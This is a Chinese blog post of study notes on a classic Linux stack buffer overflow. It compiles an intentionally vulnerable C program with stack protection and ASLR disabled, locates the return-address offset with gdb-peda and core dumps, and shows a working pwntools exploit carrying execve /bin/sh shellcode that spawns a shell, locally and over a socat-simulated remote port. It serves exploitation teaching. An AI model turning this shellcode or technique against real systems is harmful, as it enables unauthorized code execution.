Linux下简单的栈溢出

0x00前言


看蒸米师傅的一步一步学ROP做的笔记

0x01 程序代码


1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

编译:

1
gcc -fno-stack-protector -z execstack -o level1 level1.c

这里有四个模式选择:

1
2
3
4
gcc -fno-stack-protector//禁用堆栈保护
gcc -fstack-protector //启用堆栈保护,针对有字符串数组的函数
gcc -fstack-protector-all //启用堆栈保护,针对所有函数
gcc -fstack-protector-strong //更强版本

关闭DEP

1
-z execstack

关闭系统的ASLR保护:

1
2
3
sudo -s 
echo 0 > /proc/sys/kernel/randomize_va_space
exit

此处值为0时表示关闭,1为开启,2为增强

1
/proc/sys/kernel/randomize_va_space

首先我们确定溢出点的位置:

这里使用的是gdb的peda插件:

然后继续调试程序,输入这些字符串:

1
2
Stopped reason: SIGSEGV
0x41416d41 in ?? ()

那么我们得到出错的地址为0x41416d41,然后我们算一下此处地址的偏移:

1
2
gdb-peda$ pattern offset 0x41416d41
1094806849 found at offset: 140

那么计算出距离ret的返回值为140个字节,那么我们只需要构造‘A’*140+ret字符串即可,就可以实现让程序执行ret处的代码

但是这里还有个问题,引用的蒸米师傅的原话:

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。

那么解决办法是开启core dump这个功能

1
2
ulimit -c unlimited
sudo sh -c 'echo "/home/mask/core.%t" > /proc/sys/kernel/core_pattern'

然后执行这个程序:

1
2
3
mask@mask-virtual-machine:~/mzheng$ ./level1
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
段错误 (核心已转储)

gdb打开core文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gdb level1 ~/core.1510581838 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from level1...(no debugging symbols found)...done.
[New LWP 26955]
Core was generated by `./level1'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x41414141 in ?? ()
gdb-peda$

因为溢出点偏移为140个字节,再加上4个字节的ret地址,那么就可以算出buffer地址为$esp-144,通过gdb的命令 “x/10s $esp-144”,那么buf地址为0xbfffeff0

0x02 EXP编写


然后开始编写exp,使用的是业界良心的pwntools工具:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
from pwn import *

p = process('./level1')
ret = 0xbfffeff0

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret)
#对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #发送payload

p.interactive() #开启交互shell

那么执行exp:

1
2
3
4
5
6
7
8
9
10
mask@mask-virtual-machine:~/mzheng$ vim exp1.py 
mask@mask-virtual-machine:~/mzheng$ python exp1.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './level1': pid 27266
[*] Switching to interactive mode
$ id
uid=1000(mask) gid=1000(mask) groups=1000(mask),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ whoami
mask
$

接下来使用socat这个工具模仿一下远程溢出:

1
socat TCP4-LISTEN:10001,fork EXEC:./level1

随后这个程序的IO就被重定向到10001这个端口上了,并且可以使用 nc 127.0.0.1 10001来访问我们的目标程序服务了。

1
2
mask@mask-virtual-machine:~/mzheng$ nc 127.0.0.1 10001
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

exp脚本只要把

1
p = process('./level1')换成p = remote('127.0.0.1',23333)

ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址。然后我们就可以使用exp进行远程溢出

1
2
3
4
5
6
7
8
9
10
mask@mask-virtual-machine:~/mzheng$ vim exp1.py 
mask@mask-virtual-machine:~/mzheng$ python exp1.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ id
uid=1000(mask) gid=1000(mask) groups=1000(mask),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ whoami
mask
$

0x03 知识点整理


保护机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mask@mask-virtual-machine:~/mzheng$ gdb ./level1
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./level1...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY: disabled
FORTIFY : disabled
NX: disabled
PIE : disabled
RELRO : Partial
gdb-peda$